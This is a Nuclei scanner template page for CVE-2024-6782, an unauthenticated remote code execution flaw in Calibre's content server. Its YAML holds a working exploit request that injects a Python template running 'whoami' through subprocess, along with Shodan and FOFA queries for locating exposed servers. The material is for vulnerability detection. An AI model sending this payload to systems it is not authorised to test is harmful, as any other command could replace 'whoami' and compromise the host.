Calibre <= 7.14.0 Remote Code Execution

ID: CVE-2024-6782

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2024,calibre,rce

Description

Unauthenticated remote code execution via Calibre’s content server in Calibre <= 7.14.0.

YAML Source

id: CVE-2024-6782

info:
  name: Calibre <= 7.14.0 Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Unauthenticated remote code execution via Calibre’s content server in Calibre <= 7.14.0.
  reference:
    - https://starlabs.sg/advisories/24/24-6781/
  classification:
    cpe: cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: calibre-ebook
    product: calibre
    shodan-query: html:"Calibre"
    fofa-query: "Server: calibre"
    max-request: 2
  tags: cve,cve2024,calibre,rce

http:
  - raw:
      - |
        GET /interface-data/books-init HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    extractors:
      - type: json
        name: book_ids
        internal: true
        json:
          - '.search_result.book_ids[0]'

  - raw:
      - |
        POST /cdb/cmd/list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        [
            ["template"],
            "",
            "",
            "",
            {{book_ids}},
           "python:def evaluate(a, b):\n  import subprocess\n  try:\n    return subprocess.check_output(['cmd.exe', '/c', 'whoami'])\n  except Exception:\n    return subprocess.check_output(['sh', '-c', 'whoami'])\n"
        ]

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "b'([^']+)"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204cec92ff505c5d1872709eedbef9528417eccc62eab41d891062bdf660383c12022100ed40e6ac88eb07734b9955e9e60e111a38f29f998f8c28665bcfbc5e5c53d530:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6782.yaml"

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